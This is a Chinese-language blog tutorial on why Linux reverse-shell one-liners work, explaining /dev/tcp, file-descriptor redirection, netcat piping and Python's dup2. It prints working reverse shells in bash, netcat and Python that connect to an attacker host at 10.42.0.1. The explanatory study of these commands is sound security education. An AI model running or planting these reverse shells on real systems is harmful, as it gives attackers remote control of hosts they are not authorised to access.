前言 當我們在滲透Linux主機時,反彈一個交互的shell是非常有必要的。在搜索引擎上搜索關鍵字“Linux 反彈shell”,會出現一大堆相關文章,但是其內容不但雷同,而且都僅僅是告訴我們執行這個命令就可以反彈shell了,卻沒有一篇文章介紹這些命令究竟是如何實現反彈shell的。既然大牛們懶得 ...
前言
當我們在滲透Linux主機時,反彈一個交互的shell是非常有必要的。在搜索引擎上搜索關鍵字“Linux 反彈shell”,會出現一大堆相關文章,但是其內容不但雷同,而且都僅僅是告訴我們執行這個命令就可以反彈shell了,卻沒有一篇文章介紹這些命令究竟是如何實現反彈shell的。既然大牛們懶得科普,那我就只好自己動手了。本文就來探討一下相關命令實現的原理。
Bash
這篇文章的起因就是網上給的Bash反彈shell的實現:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
看到這短短的一行代碼,正在複習Linux,自我感覺良好的我頓時充滿了挫敗感,這都是些什麼鬼。於是決定一定要搞明白它。
首先,bash -i是打開一個交互的bash,這個最簡單。我們先跳過“>&”和“0>&1”,這兩個是本文重點,等會再說。先來說“/dev/tcp/”。
/dev/tcp/是Linux中的一個特殊設備,打開這個文件就相當於發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/。
要想瞭解“>&”和“0>&1”,首先我們要先瞭解一下Linux文件描述符和重定向。
linux shell下常用的文件描述符是:
1. 標準輸入 (stdin) :代碼為 0 ,使用 < 或 << ;
2. 標準輸出 (stdout):代碼為 1 ,使用 > 或 >> ;
3. 標準錯誤輸出(stderr):代碼為 2 ,使用 2> 或 2>>。
很多資料都會告訴我們,2>&1是將標準錯誤輸出合併到標準輸出中,但是這四個符號具體要如何理解呢?我剛開始直接將2>看做標準錯誤輸出,將&看做and,將1看做標準輸出。這樣理解好像也挺對,但是如果是這樣的話0>&1又該如何理解呢?
其實&根本就不是and的意思,學過C/C++的都知道,在這兩門語言里,&是取地址符。在這裡,我們也可以將它理解為取地址符。
好了,基本知識說完了,下麵我們就探討一下困擾了我一天的“>&”究竟是什麼意思。首先,我在查資料的過程中雖然沒有查到“>&”究竟是什麼,但是有一個跟它長得很像的符號卻被我發現了,那就是“&>”,它和“2>&1”是一個意思,都是將標準錯誤輸出合併到標準輸出中。難道“>&”和“&>”之間有什麼不為人知的交易?讓我們來動手測試一下。
從圖片中我們可以看到,在這裡">&"和“&>”作用是一樣的,都是將標準錯誤輸出定向到標準輸出中。
既然如此,那麼我們就把他倆互換試試看,究竟結果一不一樣。
我在虛擬機里執行
bash -i >& /dev/tcp/10.0.42.1/1234
結果如下圖所示,雖然命令和結果都在我本機上顯示出來了,但實際上命令並不是在本機上輸入的,而是只能在虛擬機裡面輸入,然後命令和結果都在我本機上顯示。
我們再執行
bash -i &> /dev/tcp/10.42.0.1/1234
效果是一樣的,就不上圖了。所以由實踐可知,“>&”和我們常見的“&>”是一個意思,都是將標準錯誤輸出重定向到標註輸出。
好了,一個問題已經解決,下一個就是“0>&1”。我們都知道,標準輸入應該是“0<”而不是“0>”,難道這個跟上一個問題樣都是同一個命令的不同寫法?讓我們試一下“0<&1”,看看會發生什麼。
在上圖中我們得到了一個交互的shell。果然是這樣!“0>&1”和“0<&1”是一個意思,都是將標準輸入重定向到標準輸出中。使用
bash -i &> /dev/tcp/10.42.0.1 0<&1
同樣能反彈一個可交互的shell。
綜上所述,這句命令的意思就是,創建一個可交互的bash和一個到10.42.0.1:1234的TCP鏈接,然後將bash的輸入輸出錯誤都重定向到在10.42.0.1:1234監聽的進程。
NetCat
如果目標主機支持“-e”選項的話,我們就可以直接用
nc -e /bin/bash 10.42.0.1 1234
但當不支持時,我們就要用到Linux神奇的管道了。我們可以在自己機器上監聽兩個埠,
nc -l -p 1234 -vv nc -l -p 4321 -vv
然後在目標主機上執行以下命令:
nc 10.42.0.1 1234 | /bin/bash | nc 10.42.0.1 4321
這時我們就可以在1234埠輸入命令,在4321埠查看命令的輸出了。
管道“|”可以將上一個命令的輸出作為下一個命令的輸入。所以上面命令的意思就是將10.42.0.1:1234傳過來的命令交給/bin/bash執行,再將執行結果傳給10.42.0.1:4321顯示。
Python
python -c import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.42.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash","-i"]);'
python -c表示執行後面的代碼。首先引入了三個庫socket,subprocess,os,這三個庫後面都要用到,然後創建了一個使用TCP的socket,接著執行connect函數連接到黑客主機所監聽的埠。接著執行os庫的dup2函數來進行重定向。dup2傳入兩個文件描述符,fd1和fd2(fd1是必須存在的),如果fd2存在,就關閉fd2,然後將fd1代表的那個文件強行複製給fd2,fd2這個文件描述符不會發生變化,但是fd2指向的文件就變成了fd1指向的文件。 這個函數最大的作用是重定向。三個dup2函數先後將socket重定向到標準輸入,標準輸入,標準錯誤輸出。最後建立了一個子進程,傳入參數“-i”使bash以交互模式啟動。這個時候我們的輸入輸出都會被重定向到socket,黑客就可以執行命令了。
我們可以看到成功的彈回了一個shell。
總結
在對信息安全的學習中,我們要時刻保持好奇心,多問為什麼,要多去探究根本原理,而不是只會使用工具和死記硬背,遇到不會又搜不到答案的問題,我們要大膽猜想,小心求證,只有這樣我們才能不斷的進步,在信息安全的領域越走越遠。
學習資料推薦>>>>>>